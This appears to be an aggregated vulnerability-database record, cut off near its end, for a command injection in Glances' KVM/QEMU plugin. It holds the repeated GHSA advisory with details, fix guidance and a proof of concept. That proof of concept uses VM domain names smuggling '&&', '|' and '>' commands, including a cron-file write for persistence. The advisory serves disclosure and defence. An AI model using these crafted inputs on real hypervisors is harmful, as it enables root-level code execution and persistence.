{"id":"CVE-2026-46606","aliases":["DEBIAN-CVE-2026-46606","EUVD-2026-39516","GHSA-v5r2-qh84-fjx5","PYSEC-2026-2497","UBUNTU-CVE-2026-46606","openSUSE-SU-2026:11122-1"],"status":"published","title":"Glances: Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret \u0026\u0026, |, and \u003e as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5.","severity":{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00191,"percentile":0.08857,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-06-22T21:14:06Z","modified":"2026-10-28T02:30:53Z","fixes":[{"ecosystem":"PyPI","package":"glances","fixed_in":["4.5.5"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"glances","fixed_in":["4.5.5+dfsg-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1","4.5.6+dfsg-1","4.5.7+dfsg-1","4.5.8+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5+dfsg-1"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1","4.5.2","4.5.3","4.5.4"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1","4.5.2","4.5.3","4.5.4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3-1build1","2.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10-2","2.11.1-1","2.11.1-2","2.11.1-3","2.11.1-3ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.0-1","3.1.1-1","3.1.3-1","3.1.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.5-1","3.2.3.1+dfsg-1","3.2.4.2+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.0.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.0.8+dfsg-1","4.3.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5-1.1"}]}],"bundled":5}],"products":[{"vendor":"nicolargo","product":"glances"}],"references":[{"url":"https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/nicolargo/glances/releases/tag/v4.5.5","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46606","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v5r2-qh84-fjx5","tags":["advisory"]},{"url":"https://github.com/nicolargo/glances","tags":["package"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2497.yaml","tags":["web"]},{"url":"https://pypi.org/project/glances","tags":["web","package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46606.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-46606","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-46606","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-46606","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46606","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46607","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46608","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46611","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53925","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-46606","title":"Glances: Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret \u0026\u0026, |, and \u003e as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T18:02:14.168Z","modified":"2026-06-25T18:29:51.267Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:46:55.086623Z"}],"euvd":[{"id":"EUVD-2026-39516","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret \u0026\u0026, |, and \u003e as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T18:02:14Z","modified":"2026-06-25T18:29:51Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:20:25.316004Z"}],"ghsa":[{"id":"GHSA-v5r2-qh84-fjx5","title":"Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py","description":"### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `\u0026\u0026`, `|`, and `\u003e` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')\n\n# line 204  (update_title)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `\u0026\u0026`, `|`, and `\u003e` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = ''\n    for c in cmd.split('\u0026\u0026'):        # '\u0026\u0026' → two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # '\u003e' is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `\u0026\u0026`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `\u003e`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 — Create a VM with a crafted domain name**\n\nUsing the `\u0026\u0026` operator to chain a second command:\n\n```xml\n\u003cdomain type=\"kvm\"\u003e\n  \u003cname\u003eproductionDB \u0026amp;\u0026amp; touch /tmp/glances_pwned\u003c/name\u003e\n  \u003cmemory\u003e131072\u003c/memory\u003e\n  \u003cvcpu\u003e1\u003c/vcpu\u003e\n  \u003cos\u003e\u003ctype arch=\"x86_64\"\u003ehvm\u003c/type\u003e\u003c/os\u003e\n\u003c/domain\u003e\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 — Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB \u0026\u0026 touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 — Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`\u003e`) example**\n\nDomain name: `\"productionDB \u003e /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = 'productionDB \u0026\u0026 id'\nresult = secure_popen(f'/bin/echo domstats --nowait {domain}')\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full — file-write injection (`\u003e`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full — the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`'s operator splitting logic:\n\n```python\n# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, 'domstats', '--nowait', domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `\u0026\u0026`, `|`, `\u003e`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---","status":"published","published":"2026-06-22T21:14:06Z","modified":"2026-07-21T14:43:41Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:49.410128Z"}],"nvd":[{"id":"CVE-2026-46606","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret \u0026\u0026, |, and \u003e as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T19:16:37.38Z","modified":"2026-10-25T22:10:00.15Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:26.045561Z"}],"osv":[{"id":"CVE-2026-46606","title":"Glances: Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret \u0026\u0026, |, and \u003e as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T18:02:14.168Z","modified":"2026-10-28T02:30:53.322981815Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"DEBIAN-CVE-2026-46606","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret \u0026\u0026, |, and \u003e as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T19:16:37.38Z","modified":"2026-10-26T12:02:57.727102011Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:56.444225Z"},{"id":"GHSA-v5r2-qh84-fjx5","title":"Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py","description":"### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `\u0026\u0026`, `|`, and `\u003e` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')\n\n# line 204  (update_title)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `\u0026\u0026`, `|`, and `\u003e` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = ''\n    for c in cmd.split('\u0026\u0026'):        # '\u0026\u0026' → two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # '\u003e' is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `\u0026\u0026`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `\u003e`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 — Create a VM with a crafted domain name**\n\nUsing the `\u0026\u0026` operator to chain a second command:\n\n```xml\n\u003cdomain type=\"kvm\"\u003e\n  \u003cname\u003eproductionDB \u0026amp;\u0026amp; touch /tmp/glances_pwned\u003c/name\u003e\n  \u003cmemory\u003e131072\u003c/memory\u003e\n  \u003cvcpu\u003e1\u003c/vcpu\u003e\n  \u003cos\u003e\u003ctype arch=\"x86_64\"\u003ehvm\u003c/type\u003e\u003c/os\u003e\n\u003c/domain\u003e\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 — Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB \u0026\u0026 touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 — Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`\u003e`) example**\n\nDomain name: `\"productionDB \u003e /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = 'productionDB \u0026\u0026 id'\nresult = secure_popen(f'/bin/echo domstats --nowait {domain}')\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full — file-write injection (`\u003e`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full — the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`'s operator splitting logic:\n\n```python\n# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, 'domstats', '--nowait', domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `\u0026\u0026`, `|`, `\u003e`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---","status":"published","published":"2026-06-22T21:14:06Z","modified":"2026-07-21T15:00:43.491185089Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"PYSEC-2026-2497","title":"Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py","description":"### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `\u0026\u0026`, `|`, and `\u003e` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')\n\n# line 204  (update_title)\nret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59–78 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `\u0026\u0026`, `|`, and `\u003e` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = ''\n    for c in cmd.split('\u0026\u0026'):        # '\u0026\u0026' → two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # '\u003e' is split separately for file 